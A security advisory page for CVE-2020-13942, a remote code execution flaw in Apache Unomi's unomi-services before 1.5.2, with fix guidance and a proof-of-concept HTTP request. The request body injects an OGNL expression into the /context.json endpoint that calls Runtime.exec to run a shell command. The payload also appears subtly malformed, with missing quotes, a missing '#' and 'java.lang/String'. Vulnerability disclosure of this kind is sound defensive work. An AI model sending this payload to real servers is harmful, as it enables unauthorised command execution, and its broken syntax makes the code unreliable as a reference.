Remote Code Execution (RCE) Affecting org.apache.unomi:unomi-services package, versions [,1.5.2)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
97.28% (100th
percentile)
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Test your applications- Snyk ID SNYK-JAVA-ORGAPACHEUNOMI-1045348
- published 25 Nov 2020
- disclosed 25 Nov 2020
- credit Eugene Rojavski
Introduced: 25 Nov 2020
CVE-2020-13942 Open this link in a new tabHow to fix?
Upgrade org.apache.unomi:unomi-services to version 1.5.2 or higher.
Overview
org.apache.unomi:unomi-services is a package that provides Apache Unomi Context Server Core Services.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). It is possible to inject malicious OGNL or MVEL scripts into the /context.json public endpoint.
PoC
POST /context.json HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json
Content-Length: 200
{"personalizations":[{"id" : "test","strategy":"matching-first",strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{propertyName":"(#runtimeclass=#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod=#runtimeclass.getDeclaredMethods().{^#this.name.equals(\"getRuntime\")}[0]).(rtobj=#getruntimemethod.invoke(null,null)).(#execmethod=#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang/String\")}.{? #this.getParameters().length<2[0]).(#execmethod.invoke(#rtobj,\" touch /tmp/POC\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"demo-session-id"}
CVSS Scores
version 3.1